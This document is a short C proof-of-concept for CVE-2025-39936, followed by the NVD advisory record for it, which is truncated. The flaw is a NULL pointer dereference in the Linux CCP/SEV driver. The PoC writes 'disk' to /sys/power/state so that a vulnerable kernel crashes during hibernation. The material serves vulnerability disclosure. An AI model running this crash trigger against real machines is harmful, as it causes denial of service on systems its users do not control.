CVE-2025-39936

// CVE-2025-39936 PoC - Trigger NULL pointer dereference in CCP driver during hibernate // This PoC triggers the vulnerability by initiating suspend-to-disk operation // which causes the kernel to shutdown CCP devices, triggering the NULL ptr deref. // Note: Requires local access with low privileges and CCP/PSP hardware present // Affected kernel version: Linux 6.17.0-rc4 and earlier (with commit 9770b428b1a2) #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/stat.h> #define SYS_POWER_STATE "/sys/power/state" int main(int argc, char *argv[]) { int fd; int ret; const char *state = "disk"; // Suspend to disk (hibernate) // Check if /sys/power/state is accessible fd = open(SYS_POWER_STATE, O_RDWR); if (fd < 0) { perror("[-] Failed to open /sys/power/state"); fprintf(stderr, "[!] This PoC requires access to power management interfaces\n"); fprintf(stderr, "[!] Try running as root or with appropriate capabilities\n"); return 1; } printf("[*] CVE-2025-39936 PoC - CCP NULL Pointer Dereference\n"); printf("[*] Triggering suspend-to-disk to invoke device shutdown path...\n"); printf("[*] This will cause kernel oops in __sev_platform_shutdown_locked()\n"); // Write "disk" to /sys/power/state to trigger hibernation // This will cause the kernel to shutdown PCI devices including CCP/PSP // which triggers the vulnerable code path: // kernel_power_off -> hibernate -> device_shutdown -> pci_device_shutdown // -> sp_destroy -> psp_dev_destroy -> sev_dev_destroy // -> __sev_firmware_shutdown -> __sev_platform_shutdown_locked (NULL deref!) ret = write(fd, state, strlen(state)); if (ret < 0) { perror("[-] Failed to write to /sys/power/state"); close(fd); return 1; } close(fd); printf("[*] Suspend command issued. System should crash if vulnerable.\n"); return 0; }

{"cve": {"id": "CVE-2025-39936", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T08:15:46.460", "lastModified": "2026-03-25T00:46:52.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: ccp - Always pass in an error pointer to __sev_platform_shutdown_locked()\n\nWhen\n\n 9770b428b1a2 (\"crypto: ccp - Move dev_info/err messages for SEV/SNP init and shutdown\")\n\nmoved the error messages dumping so that they don't need to be issued by\nthe callers, it missed the case where __sev_firmware_shutdown() calls\n__sev_platform_shutdown_locked() with a NULL argument which leads to\na NULL ptr deref on the shutdown path, during suspend to disk:\n\n #PF: supervisor read access in kernel mode\n #PF: error_code(0x0000) - not-present page\n PGD 0 P4D 0\n Oops: Oops: 0000 [#1] SMP NOPTI\n CPU: 0 UID: 0 PID: 983 Comm: hib.sh Not tainted 6.17.0-rc4+ #1 PREEMPT(voluntary)\n Hardware name: Supermicro Super Server/H12SSL-i, BIOS 2.5 09/08/2022\n RIP: 0010:__sev_platform_shutdown_locked.cold+0x0/0x21 [ccp]\n\nThat rIP is:\n\n 00000000000006fd <__sev_platform_shutdown_locked.cold>:\n 6fd: 8b 13 mov (%rbx),%edx\n 6ff: 48 8b 7d 00 mov 0x0(%rbp),%rdi\n 703: 89 c1 mov %eax,%ecx\n\n Code: 74 05 31 ff 41 89 3f 49 8b 3e 89 ea 48 c7 c6 a0 8e 54 a0 41 bf 92 ff ff ff e8 e5 2e 09 e1 c6 05 2a d4 38 00 01 e9 26 af ff ff <8b> 13 48 8b 7d 00 89 c1 48 c7 c6 18 90 54 a0 89 44 24 04 e8 c1 2e\n RSP: 0018:ffffc90005467d00 EFLAGS: 00010282\n RAX: 00000000ffffff92 RBX: 0000000000000000 RCX: 0000000000000000\n \t\t\t ^^^^^^^^^^^^^^^^\nand %rbx is nice and clean.\n\n Call Trace:\n <TASK>\n __sev_firmware_shutdown.isra.0\n sev_dev_destroy\n psp_dev_destroy\n sp_destroy\n pci_device_shutdown\n device_shutdown\n kernel_power_off\n hibernate.cold\n state_store\n kernfs_fop_write_iter\n vfs_write\n ksys_write\n do_syscall_64\n entry_SYSCALL_64_after_hwframe\n\nPass in a pointer to the function-local error var in the caller.\n\nWith that addressed, suspending the ccp shows the error properly at\nleast:\n\n ccp 0000:47:00.1: sev command 0x2 timed out, disabling PSP\n ccp 0000:47:00.1: SEV: failed to SHUTDOWN error 0x0, rc -110\n SEV-SNP: Leaking PFN range 0x146800-0x146a00\n SEV-SNP: PFN 0x146800 unassigned, dumping non-zero entries in 2M PFN region: [0x146800 - 0x146a00]\n ...\n ccp 0000:47:00.1: SEV-SNP firmware shutdown failed, rc -16, error 0x0\n ACPI: PM: Preparing to enter system sleep state S5\n kvm: exiting hardware virtualization\n reboot: Power down\n\nBtw, this driver is crying to be cleaned up to pass in a proper I/O\nstruct which can be used to store information between the different\nfunctions, otherwise stuff like that will happen in the future again."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16", "versionEndExcluding": "6.16.9", "matchCriteriaId": "A29694A5-4AF1-4C6F-8828-187FA35BAC01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*", "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*", "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*", "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*", "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/46834d90a9a13549264b9581067d8f746b4b36cc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bc509293c9d4f4f74e776f4a0bbb61f63c041938", "source": "416baaa9-dc9f-4396-8d5 ... (truncated)